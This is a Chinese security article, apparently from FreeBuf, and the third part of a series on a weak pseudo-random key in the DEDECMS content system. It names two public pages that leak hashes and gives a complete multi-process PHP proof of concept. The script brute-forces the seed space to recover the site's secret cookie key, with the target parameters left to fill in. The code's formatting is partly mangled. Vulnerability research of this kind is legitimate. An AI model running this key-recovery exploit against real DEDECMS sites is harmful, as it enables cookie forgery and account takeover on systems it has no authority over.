FreeBuf|DEDECMS伪随机漏洞分析
一 、本篇
本文为“DEDECMS伪随机漏洞”系列第三篇 , 查看前两篇可点击底部【阅读原文】:
第一篇:《DEDECMS伪随机漏洞分析 (一) PHP下随机函数的研究》
第二篇:《DEDECMS伪随机漏洞分析 (二) cookie算法与key随机强度分析》
根据第二篇,我们有信心去遍历root key的所有可能, 但是我们还需要一个碰撞点, 才能真正得到root key的值, 本篇找到了两个碰撞点, 并编写了简单的POC来获取root key 。
二 、碰撞点可能还存在其他碰撞点, 这儿仅找到两个: )
1.用户主页1.1 限制条件(中)
要求开启会员功能
1.2 代码分析
本文插图
1.3 获取方法
请求:(查看admin主页) url+/member/index.php?uid=admin
响应:
admin
last_vid_ckMd5 的hash值
本文插图
2. 自定义表单2.1 限制条件(低)
网站管理员需要为网站定义表单.
下载了几套通过DEDECMS改造的模板, 都保留了该功能, 且大部分站点有自己的表单格式.或者说正常在使用的dedcms大部分都有表单: )
2.2 代码分析
本文插图
本文插图
2.3 获取方法
请求:(查看表单) url+/plus/diy.php?diyid=1
响应:
dede_fieIds
dede_fieIdshash 这两个值
本文插图
3. POC1. 保存如下代码到dede_funcookie.php2. 修改里面的$cpu, $attack_method, $attack_param, $attack_hash3. 若是目标网站为php7: php7 dede_funcookie.php 若是目标网站为php5: php5 dede_funcookie.php,若是不明确可以两个都跑 ε=ε=ε=(~ ̄▽ ̄)~4. 在16核 CPU,8G内存下, 跑完整个程序需要 4444秒,建议不要同时跑两个, 注意自己的CPU负载情况 <?php$t1=microtime(true);echo"开始时间:$t1\n";//请填写下面的信息$cpu= 8; // cpu: CPU核数,$cpu对应到开启的进程的数量,不宜过高$attack_method= 2; // 碰撞类型: 如果是用户主页就是1, 自定义表单就是2$attack_param=""; // 数据: 选择1填写uid, 选择2填写dede_fields$attack_hash=""; //hash: 填写hash$max_= 4294967296;$targets_= ;$the_1= (int)($max_/$cpu);$the_2=$max_%$cpu;for($i= 0;$i<$cpu;$i++){ array_push($targets_,[($i)*$the_1,($i+1)*$the_1]);}$chars='abcdefghigklmnopqrstuvwxwyABCDEFGHIGKLMNOPQRSTUVWXWY0123456789';$max= 61; // strlen($chars) - 1;$already_test= 0;for($i= 0;$i<$cpu;$i++){$pid= pcntl_fork;if($pid== -1) { die("could not fork"); } elseif ($pid) { ; //echo$pid; //echo"I'm the Parent$i\n"; }else{ //var_dump($targets_[$i][0]); the_poc($targets_[$i][0],$targets_[$i][1],$i);exit; }}functionthe_poc($start,$end,$id){ global$chars; global$max; global$attack_method; global$attack_param; global$attack_hash;$the_whole= (int)(($end-$start)/1000000);$i_do= 0;for($y=$start;$y<=$end;$y++) {if(($i_do%1000000) == 1){echo"$id已完成(x1000000): ";echo(int)($i_do/1000000);echo"/$the_whole\n"; }$i_do=$i_do+ 1; srand($y);$length= rand(28,32); mt_srand($y);$rnd_cookieEncode='';for($i= 0;$i<$length;$i++) {$rnd_cookieEncode.=$chars[mt_rand(0,$max)]; }if($attack_method==1){if(substr(md5($rnd_cookieEncode.$attack_param),0,16) ==$attack_hash){echo"here!!!!\n";echo$rnd_cookieEncode;echo"\n";echo$y;echo"\n";break; } }else{if(md5($attack_param.$rnd_cookieEncode) ==$attack_hash){echo"here!!!!\n";echo$rnd_cookieEncode;echo"\n";echo$y;echo"\n"; } } }}// 等待子进程执行结束while(pcntl_waitpid(0,$status) != -1) {$status= pcntl_wexitstatus($status);$pid= posix_getpid;echo"Child$statuscompleted\n";}$t2=microtime(true)-$t1; //获取程序1 , 结束的时间echo"总计用时:$t2\n";?>
推荐阅读
- FreeBuf|“黑球”攻击仍在行动:从检测杀软到安装挖矿
- FreeBuf|管中窥豹之工控设备解密
- FreeBuf|工控渗透框架:PLC密码检测
- 苹果手机|数码论:取消手机产品随机附赠充电器利弊谈
- 电脑使用技巧,windows系统|微软推送全新Win10 V2004补丁更新,解决随机重启问题
- FreeBuf|谷歌副总裁宣布退出Black Hat,称“黑帽”涉嫌种族歧视
- FreeBuf|安全研究:2019年流行的开源项目漏洞数量翻了一倍
- 宅秘|米家胶囊咖啡机亮相 众筹价349元随机赠送20颗胶囊
- FreeBuf|Werkzeug更新带来的Flask debug pin码生成方式改变
- FreeBuf|硬件安全危机下,美国DARPA启动全球漏洞赏金计划